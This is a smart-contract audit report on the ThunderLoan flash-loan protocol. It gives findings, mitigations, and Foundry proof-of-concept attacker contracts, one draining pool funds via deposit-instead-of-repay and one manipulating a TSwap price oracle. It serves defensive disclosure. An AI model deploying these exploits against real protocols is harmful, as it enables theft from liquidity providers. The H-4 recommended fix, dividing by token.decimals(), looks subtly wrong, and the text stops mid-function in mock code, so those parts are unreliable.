# ThunderLoan Audit Report

Version 1.0

*37H3RN17Y2*

October 25, 2024

# ThunderLoan Audit Report - Abridged

37H3RN17Y2

October 25, 2024

Prepared by: [37H3RN17Y2] (https://github.com/37H3RN17Y2) Lead Security Researcher: - 37H3RN17Y2

## Table of Contents


- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings


## Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

## Disclaimer

The 37H3RN17Y2 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond to the following commit hash:**

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

### Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

### Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

## Executive Summary

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 4 |
| Medium | 1 |
| Low | 0 |
| Info | 0 |

| Severity | Number of issues found |
| --- | --- |
| Total | 5 |

# Findings

## High

### [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `ThunderLoan::deposit` function causes protocol to think it has more fees than it really does, which blocks redemptions and incorrectly sets the exchange rate

**Description:** In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it is responsible for keeping track of how much fees to give to liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>      assetToken.updateExchangeRate(calculatedFee);
10
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
12     }
```

**Impact:** There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved

**Proof of Concept:**

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Codes

Place the following into `ThunderLoanTest.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

**Recommended Mitigation:** Remove the incorrectly updated exchange rate lines from `deposit`.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

### [H-2] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

**Description:** `ThunderLoan.sol` has the two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
uint256 private s_flashLoanFee;
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `ThunderLoanUpgraded::s_flashLoanFee` will have the value of `ThunderLoan::s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables breaks the storage locations as well.

**Impact:** After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot.

**Proof of Concept:**

PoC

Place the following to the `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
     function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        vm.stopPrank();
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        console.log ("Fee Before: ", feeBeforeUpgrade);
        console.log ("Fee After: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running the following commands in the terminal

```
forge inspect ThunderLoan storage
forge inspect ThunderLoanUpgraded storage
```

**Recommended Mitigation:** If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

### [H-3] Taking out a flash loan and repaying using `ThunderLoan::deposit` instead of `ThunderLoan::repay` allows users to steal all funds from the procotol

**Description:** The `ThunderLoan::flashloan` function performs a check of token balances in `AssetToken` contract at the end of the flash loan to ensure that the token balance after the flash loan (`endingBalance`) exceeds the token balance before the flash loan + flash loan fee (`startingBalance + fee`). These balances are obtained using the function `token.balanceOf(address(assetToken))`.

An attacker can perform a flash loan and return the money using the `deposit` function instead of `repay`, allowing the attacker to mint `assetToken`, which is not the protocol intention. The attacker can then call the `ThunderLoan::redeem` function with these acquired `assetToken` to drain the `AssetToken` contract of funds.

```
function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
@>      uint256 startingBalance = IERC20(token).balanceOf(address(
    assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
                amount);
        }

        if (receiverAddress.code.length == 0) {
            revert ThunderLoan__CallerIsNotContract();
        }

        uint256 fee = getCalculatedFee(token, amount);
        // slither-disable-next-line reentrancy-vulnerabilities-2
            reentrancy-vulnerabilities-3
```

```
24          assetToken.updateExchangeRate(fee);
25
26          emit FlashLoan(receiverAddress, token, amount, fee, params);
27
28          s_currentlyFlashLoaning[token] = true;
29          assetToken.transferUnderlyingTo(receiverAddress, amount);
30          // slither-disable-next-line unused-return reentrancy-
               vulnerabilities-2
31          receiverAddress.functionCall(
32              abi.encodeCall(
33                  IFlashLoanReceiver.executeOperation,
34                  (
35                      address(token),
36                      amount,
37                      fee,
38                      msg.sender, // initiator
39                      params
40                  )
41              )
42          );
43
44  @>      uint256 endingBalance = token.balanceOf(address(assetToken));
45  @>      if (endingBalance < startingBalance + fee) {
46  @>          revert ThunderLoan__NotPaidBack(startingBalance + fee,
        endingBalance);
47  @>      }
48          s_currentlyFlashLoaning[token] = false;
49      }
```

**Impact:** All the funds in the `AssetToken` contract can be stolen.

**Proof of Concept:**

1. An attacker deploys the contract `DepositOverRepay` shown below
2. Call `ThunderLoan::flashloan` function onto `DepositOverRepay`
3. `DepositOverRepay` deposits the flash loaned tokens using `ThunderLoan::deposit`
4. `assetToken`s are minted to `DepositOverRepay`
5. Attacker calls `DepositOverRepay::redeem` to exchange `assetToken`s for the underlying token, draining the `AssetToken` contract funds

Place the following into `ThunderLoanTest.t.sol`

PoC

```
1  contract DepositOverRepay is IFlashLoanReceiver {
2      ThunderLoan thunderLoan;
3      AssetToken assetToken;
4      IERC20 s_token;
5      constructor (address _thunderLoan) {
6          thunderLoan = ThunderLoan(_thunderLoan);
```

```
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/ // no need these 2
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() external {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

```
function testDepositInsteadOfRepayToStealFunds() public setAllowedToken
    hasDeposits {
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        // just have enough balance to pay flash loan fee
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > amountToBorrow + fee);
    }
```

**Recommended Mitigation:** Add a check in the `deposit` function to disallow depositing while a flash loan is active.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {

```

```
+       if (s_currentlyFlashLoaning[token]){
+               revert();
+       }

        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);

        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

### [H-4] Flash loan fees for weird ERC20s are substantially lesser, causing less fees accrued to liquidity providers

**Description:** In the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, a fee of 0.3% is applied according to the codes below. These formulas has an implicit assumption that the token borrowed has 18 decimal places.

However, if the borrowed token has less than 18 decimal places such as USDT and USDC (6 decimals), the calculated fee is substantially lesser than expected.

> ThunderLoan.sol

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
@>      fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

> ThunderLoanUpgraded.sol

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / FEE_PRECISION;
```

```
4           //slither-disable-next-line divide-before-multiply
5   @>      fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
6       }
```

**Impact:** Users pay much lesser fees to make a flash loan and subsequently lesser fees are accrued to liquidity providers.

**Proof of Concept:** Consider 2 users taking out flash loans of the same value but different tokens. (Assuming 1 WETH = 2000 USDC for the example below)

1. User A takes out a flash loan of 1 WETH
2. User B takes out a flash loan of 2000 USDC

```
1  function getCalculatedFee(IERC20 token, uint256 amount) public view
       returns (uint256 fee) {
2           // UserA >> 1 WETH = 1e18
3           // UserB >> 2000 USDC = 2000e6
4
5           uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
                (token))) / s_feePrecision;
6
7           // UserA valueOfBorrowedToken = 1e18 * 1e18 / 1e18 = 1e18
8           // UserB valueOfBorrowedToken = 2000e6 * 1e18 / 1e18 = 2000e6
9
10          fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
11
12          // UserA fee = 1e18 * 3e15 / 1e18 = 3e15 = 0.003 WETH
13          // UserB fee = 2000e6 * 3e15 / 1e18 = 6e6 = 0.000000000006 WETH
14      }
```

Despite both users taking out flash loans of the same monetary value, User B is charged substantially lesser fees for the flash loan

**Recommended Mitigation:** Consider adjusting the fee precision based on the token decimals rather than a hard coded value

```
1  function getCalculatedFee(IERC20 token, uint256 amount) public view
       returns (uint256 fee) {
2           //slither-disable-next-line divide-before-multiply
3           uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
                (token))) / s_feePrecision;
4           //slither-disable-next-line divide-before-multiply
5           fee = (valueOfBorrowedToken * s_flashLoanFee) / token.decimals
                ();
6       }
```

## Medium

### [M-1] Using TSwap as price oracle leads to price oracle manipulation attacks, decreasing the flash loan fee

**Description:** The flash loan fees are calculated using the `ThunderLoan::getCalculatedFee` function which uses pricing information from the `TSwap` protocol. In detail, the function call chain are as follows: 1. `ThunderLoan::getCalculatedFee` 2. `OracleUpgradeable::getPriceInWeth` 3. `TSwapPool::getPriceOfOnePoolTokenInWeth`

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / token.decimals
            ();
    }
```

```
function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
            ();
    }
```

The `TSwap` protocol is a constant product automated market maker AMM which calculates the price of tokens in WETH based on the ratio of token reserves and WETH reserves. Hence, a malicious user can take out a flash loan from `ThunderLoan` and swap the tokens for WETH using `TSwap`. This swap causes the manipulation the price of tokens in WETH by increasing the token reserves and decreasing the WETH reserves. As such, the token price in WETH is reduced, and the calculated fee in ThunderLoan is also reduced.

**Impact:** Liquidity provider will receive lesser fees for providing liquidity.

**Proof of Concept:** The PoC below compares the fees inccured if a user makes two flash loans of 50 tokenA as compared to a flash loan of 100 tokenA. Using two flash loans will result in lower overall fee as the first flash loan is used to perform price oracle manipulation such that the second flash loan has lower fees.

Case 1 1. User makes a flash loan of 100 tokenA

Case 2 1. User makes a flash loan of 50 tokenA 2. Using the 50 tokenA, user performs a price oracle manipulation attack on TSwap 3. The price of tokenA in WETH is substantially reduced 4. User makes a second flash loan of 50 tokenA

PoC

Place the following into `ThunderLoanTest.t.sol`

Firstly, this is the malicious contract (`MaliciousFlashLoanReceiver`) used to perform the price oracle manipulation attack.

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    BuffMockTSwap tswapPool;
    ThunderLoan thunderLoan;
    address repayAddress;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor (address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out ANOTHER flash loan, to show the difference
    // 3. Calculate the fees
    // 4. repay 2nd flash loan
    // 5. repay 1st flash loan
    // since executeOperation is going to get called twice,
    // the boolean "attacked" dictates conditional flow
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/ // no need these 2
    )
        external
        returns (bool)
    {
        if (!attacked){
            // flip boolean and track fees
            attacked = !attacked;
            feeOne = fee;

            // 1. Swap (50e18) TokenA borrowed for WETH
            // this will tank the price of TokenA/WETH
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
```

```
42
43              // 2. Take out ANOTHER flash loan (50e18)
44              thunderLoan.flashloan(address(this), IERC20(token), 50e18,
                    "");
45
46              // 5. repay 1st flash loan
47              // repay to assetToken (repayAddress) not thunderloan
48              // thats where the assets are stored and accounted
49              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
50              // fee here is feeOne
51
52              // note: this will fail since recursive flash loan
                    repayments are blocked
53              // see audit notes in thunderloan::flashloan::
                    s_currentlyFlashLoaning[token]
54              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
55              // thunderLoan.repay(IERC20(token), amount + fee);
56
57          } else {
58              // 3. Calculate the fee
59              feeTwo = fee;
60              attacked = !attacked;
61
62              // 4. repay 2nd flash loan
63              // repay to assetToken (repayAddress) not thunderloan
64              // thats where the assets are stored and accounted
65              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
66              // fee here is feeTwo
67
68              // note: this will fail since recursive flash loan
                    repayments are blocked
69              // see audit notes in thunderloan::flashloan::
                    s_currentlyFlashLoaning[token]
70              // IERC20(token).approve(address(thunderLoan), amount + fee
                    );
71              // thunderLoan.repay(IERC20(token), amount + fee);
72          }
73
74          return true;
75      }
76  }
```

The above contract relies on a mocked TSwapPoolFactory (`BuffMockPoolFactory.sol`) and mocked TSwap protocol (`BuffMockTSwap.sol`), provided below. Import these mocks for the `MaliciousFlashLoanReceiver` to work properly.

```
1  /**
```

```
 * /-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\
 * |                                       |
 * \ _____     ____                        /
 * -|_   _|  / ___|_      ____ _ _ __     -
 * /  | |____\___ \ \ /\ / / _` | '_ \    \
 * |  | |_____|__) \ V  V / (_| | |_) |   |
 * \  |_|    |____/ \_/\_/ \__,_| .__/    /
 * -                             |_|      -
 * /                                       \
 * |                                       |
 * \-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/
 */
// SPDX-License-Identifier: GNU General Public License v3.0
pragma solidity 0.8.20;

import { BuffMockTSwap } from "./BuffMockTSwap.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;

contract BuffMockPoolFactory {
    error PoolFactory__PoolAlreadyExists(address tokenAddress);
    error PoolFactory__PoolDoesNotExist(address tokenAddress);

    /*//////////////////////////////////////////////////////////////
                            STATE VARIABLES
    //////////////////////////////////////////////////////////////*/
    mapping(address token => address pool) private s_pools;
    mapping(address pool => address token) private s_tokens;

    address public immutable i_weth;

    /*//////////////////////////////////////////////////////////////
                                EVENTS
    //////////////////////////////////////////////////////////////*/
    event PoolCreated(address tokenAddress, address poolAddress);

    /*//////////////////////////////////////////////////////////////
                              FUNCTIONS
    //////////////////////////////////////////////////////////////*/
    constructor(address weth) {
        i_weth = weth;
    }

    /*//////////////////////////////////////////////////////////////
                           EXTERNAL FUNCTIONS
    //////////////////////////////////////////////////////////////*/
    function createPool(address tokenAddress) external returns (address
        ) {
        if (s_pools[tokenAddress] != address(0)) {
            revert PoolFactory__PoolAlreadyExists(tokenAddress);
        }
```

```
        string memory liquidityTokenName = string.concat("T-Swap ", "LP
            ");
        string memory liquidityTokenSymbol = string.concat("ts", "LPT")
            ;
        BuffMockTSwap tPool = new BuffMockTSwap(tokenAddress, i_weth,
            liquidityTokenName, liquidityTokenSymbol);
        s_pools[tokenAddress] = address(tPool);
        s_tokens[address(tPool)] = tokenAddress;
        emit PoolCreated(tokenAddress, address(tPool));
        return address(tPool);
    }

    /*//////////////////////////////////////////////////////////////
                   EXTERNAL AND PUBLIC VIEW AND PURE
    //////////////////////////////////////////////////////////////*/

    function getPool(address tokenAddress) external view returns (
        address) {
        return s_pools[tokenAddress];
    }

    function getToken(address pool) external view returns (address) {
        return s_tokens[pool];
    }
}
```

```
/**
 * /-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\
 * |                                       |
 * \ _____    ____                       /
 * -|_   _|  / ___|_      ____ _ _ __    -
 * /  | |____\___ \ \ /\ / / _` | '_ \   \
 * |  | |_____|__) \ V  V / (_| | |_) |  |
 * \  |_|    |____/ \_/\_/ \__,_| .__/   /
 * -                             |_|      -
 * /                                       \
 * |                                       |
 * \-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/
 */
// SPDX-License-Identifier: GNU General Public License v3.0
pragma solidity 0.8.20;

import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract BuffMockTSwap is ERC20 {
    error TSwapPool__DeadlineHasPassed(uint256 deadline);
    error TSwapPool__MaxPoolTokenDepositTooHigh(uint256
```

```
        maximumPoolTokensToDeposit, uint256 poolTokensToDeposit);
24      error TSwapPool__MinLiquidityTokensToMintTooLow(uint256
        minimumLiquidityTokensToMint, uint256 liquidityTokensToMint);
25      error TSwapPool__WethDepositAmountTooLow(uint256 minimumWethDeposit
        , uint256 wethToDeposit);
26      error TSwapPool__WethToReceiveTooLow(uint256 minWethToWithdraw);
27      error TSwapPool__PoolTokensToReceiveTooLow(uint256
        minPoolTokensToWithdraw);
28      error TSwapPool__WethTokensToSendTooHigh(uint256 wethToSend,
        uint256 maxWeth);
29      error TSwapPool__MustBeMoreThanZero();
30
31      using SafeERC20 for IERC20;
32
33      /*//////////////////////////////////////////////////////////////
34                              STATE VARIABLES
35      //////////////////////////////////////////////////////////////*/
36      IERC20 public immutable i_weth;
37      IERC20 private immutable i_poolToken;
38      uint256 private constant MINIMUM_WETH_LIQUIDITY = 1_000_000_000;
39      uint256 private constant FEE = 3;
40      uint256 private constant FEE_DENOMINATOR = 1000;
41
42      /*//////////////////////////////////////////////////////////////
43                                   EVENTS
44      //////////////////////////////////////////////////////////////*/
45      event LiquidityAdded(address indexed liquidityProvider, uint256
        wethDeposited, uint256 poolTokensDeposited);
46      event LiquidityRemoved(address indexed liquidityProvider, uint256
        wethWithdrawn, uint256 poolTokensWithdrawn);
47      event WethSwappedForPoolToken(address indexed swapper, uint256
        wethSold, uint256 poolTokensReceived);
48      event PoolTokenSwappedForWeth(address indexed swapper, uint256
        poolTokenSold, uint256 wethReceived);
49
50      /*//////////////////////////////////////////////////////////////
51                                 MODIFIERS
52      //////////////////////////////////////////////////////////////*/
53      modifier revertIfDeadlinePassed(uint256 deadline) {
54          if (deadline < block.timestamp) {
55              revert TSwapPool__DeadlineHasPassed(deadline);
56          }
57          _;
58      }
59
60      modifier revertIfZero(uint256 amount) {
61          if (amount == 0) {
62              revert TSwapPool__MustBeMoreThanZero();
63          }
64          _;
65      }
```

```
66
67      /*//////////////////////////////////////////////////////////////
68                                FUNCTIONS
69      //////////////////////////////////////////////////////////////*/
70      constructor(
71          address poolToken,
72          address weth,
73          string memory liquidityTokenName,
74          string memory liquidityTokenSymbol
75      )
76          ERC20(liquidityTokenName, liquidityTokenSymbol)
77      {
78          i_weth = IERC20(weth);
79          i_poolToken = IERC20(poolToken);
80      }
81
82      /*//////////////////////////////////////////////////////////////
83                          ADD AND REMOVE LIQUIDITY
84      //////////////////////////////////////////////////////////////*/
85
86      /// @notice Adds liquidity to the pool
87      /// @dev The invariant of this function is that the ratio of WETH,
            PoolTokens, and LiquidityTokens is the same
88      /// before and after the transaction
89      /// @param wethToDeposit Amount of WETH the user is going to
            deposit
90      /// @param minimumLiquidityTokensToMint We derive the amount of
            liquidity tokens to mint from the amount of WETH the
91      /// user is going to deposit, but set a minimum so they know approx
             what they will accept
92      /// @param maximumPoolTokensToDeposit The maximum amount of pool
            tokens the user is willing to deposit, again it's
93      /// derived from the amount of WETH the user is going to deposit
94      /// @param deadline The deadline for the transaction to be
            completed by
95      function deposit(
96          uint256 wethToDeposit,
97          uint256 minimumLiquidityTokensToMint,
98          uint256 maximumPoolTokensToDeposit,
99          uint256 deadline
100     )
101         external
102         revertIfDeadlinePassed(deadline)
103         revertIfZero(wethToDeposit)
104         returns (uint256 liquidityTokensToMint)
105     {
106         if (wethToDeposit < MINIMUM_WETH_LIQUIDITY) {
107             revert TSwapPool__WethDepositAmountTooLow(
                    MINIMUM_WETH_LIQUIDITY, wethToDeposit);
108         }
109         if (totalSupply() > 0) {
```

```
110             uint256 currentWethDeposited = i_weth.balanceOf(address(
                    this));
111             uint256 currentPoolTokensDeposited = i_poolToken.balanceOf(
                    address(this));
112             // Our invariant says weth, poolTokens, and liquidity
                    tokens must always have the same ratio after the
113             // initial deposit
114             // poolTokens / constant(k) = weth
115             // weth / constant(k) = liquidityTokens
116             // aka...
117             // weth / poolTokens = constant(k)
118             // To make sure this holds, we can make sure the new
                    balance will match the old balance
119             // (currentWethDeposited + wethToDeposit) / (
                    currentPoolTokensDeposited + poolTokensToDeposit) =
                    constant(k)
120             // (currentWethDeposited + wethToDeposit) / (
                    currentPoolTokensDeposited + poolTokensToDeposit) =
121             // (currentWethDeposited / currentPoolTokensDeposited)
122             //
123             // So we can do some elementary math now to figure out
                    poolTokensToDeposit...
124             // (currentWethDeposited + wethToDeposit) /
                    poolTokensToDeposit = currentWethDeposited
125             // (currentWethDeposited + wethToDeposit)  =
                    currentWethDeposited * poolTokensToDeposit
126             // (currentWethDeposited + wethToDeposit) /
                    currentWethDeposited  =  poolTokensToDeposit
127             uint256 poolTokensToDeposit = wethToDeposit *
                    currentPoolTokensDeposited / currentWethDeposited;
128             if (maximumPoolTokensToDeposit < poolTokensToDeposit) {
129                 revert TSwapPool__MaxPoolTokenDepositTooHigh(
                        maximumPoolTokensToDeposit, poolTokensToDeposit);
130             }
131
132             // We do the same thing for liquidity tokens. Similar math.
133             liquidityTokensToMint = wethToDeposit *
                    totalLiquidityTokenSupply() / currentWethDeposited;
134             if (liquidityTokensToMint < minimumLiquidityTokensToMint) {
135                 revert TSwapPool__MinLiquidityTokensToMintTooLow(
                        minimumLiquidityTokensToMint, liquidityTokensToMint)
                        ;
136             }
137             _addLiquidityMintAndTransfer(wethToDeposit,
                    poolTokensToDeposit, liquidityTokensToMint);
138         } else {
139             // This will be the "initial" funding of the protocol. We
                    are starting from blank here!
140             // We just have them send the tokens in, and we mint
                    liquidity tokens based on the weth
141             _addLiquidityMintAndTransfer(wethToDeposit,
```

```
                maximumPoolTokensToDeposit, wethToDeposit);
142             liquidityTokensToMint = wethToDeposit;
143         }
144     }
145
146     /// @dev This is a sensitive function, and should only be called by
            addLiquidity
147     /// @param wethToDeposit The amount of WETH the user is going to
            deposit
148     /// @param poolTokensToDeposit The amount of pool tokens the user
            is going to deposit
149     /// @param liquidityTokensToMint The amount of liquidity tokens the
            user is going to mint
150     function _addLiquidityMintAndTransfer(
151         uint256 wethToDeposit,
152         uint256 poolTokensToDeposit,
153         uint256 liquidityTokensToMint
154     )
155         private
156     {
157         _mint(msg.sender, liquidityTokensToMint);
158         emit LiquidityAdded(msg.sender, wethToDeposit,
                poolTokensToDeposit);
159
160         // Interactions
161         i_weth.safeTransferFrom(msg.sender, address(this),
                wethToDeposit);
162         i_poolToken.safeTransferFrom(msg.sender, address(this),
                poolTokensToDeposit);
163     }
164
165     /// @notice Removes liquidity from the pool
166     /// @param liquidityTokensToBurn The number of liquidity tokens the
            user wants to burn
167     /// @param minWethToWithdraw The minimum amount of WETH the user
            wants to withdraw
168     /// @param minPoolTokensToWithdraw The minimum amount of pool
            tokens the user wants to withdraw
169     /// @param deadline The deadline for the transaction to be
            completed by
170     function withdraw(
171         uint256 liquidityTokensToBurn,
172         uint256 minWethToWithdraw,
173         uint256 minPoolTokensToWithdraw,
174         uint256 deadline
175     )
176         external
177         revertIfDeadlinePassed(deadline)
178         revertIfZero(liquidityTokensToBurn)
179         revertIfZero(minWethToWithdraw)
180         revertIfZero(minPoolTokensToWithdraw)
```

```
181     {
182         // We do the same math as above
183         uint256 wethToWithdraw = liquidityTokensToBurn * i_weth.
                balanceOf(address(this)) / totalLiquidityTokenSupply();
184         uint256 poolTokensToWithdraw =
185             liquidityTokensToBurn * i_poolToken.balanceOf(address(this)
                    ) / totalLiquidityTokenSupply();
186 
187         if (wethToWithdraw < minWethToWithdraw) {
188             revert TSwapPool__WethToReceiveTooLow(minWethToWithdraw);
189         }
190         if (poolTokensToWithdraw < minPoolTokensToWithdraw) {
191             revert TSwapPool__PoolTokensToReceiveTooLow(
                    minPoolTokensToWithdraw);
192         }
193         _burn(msg.sender, liquidityTokensToBurn);
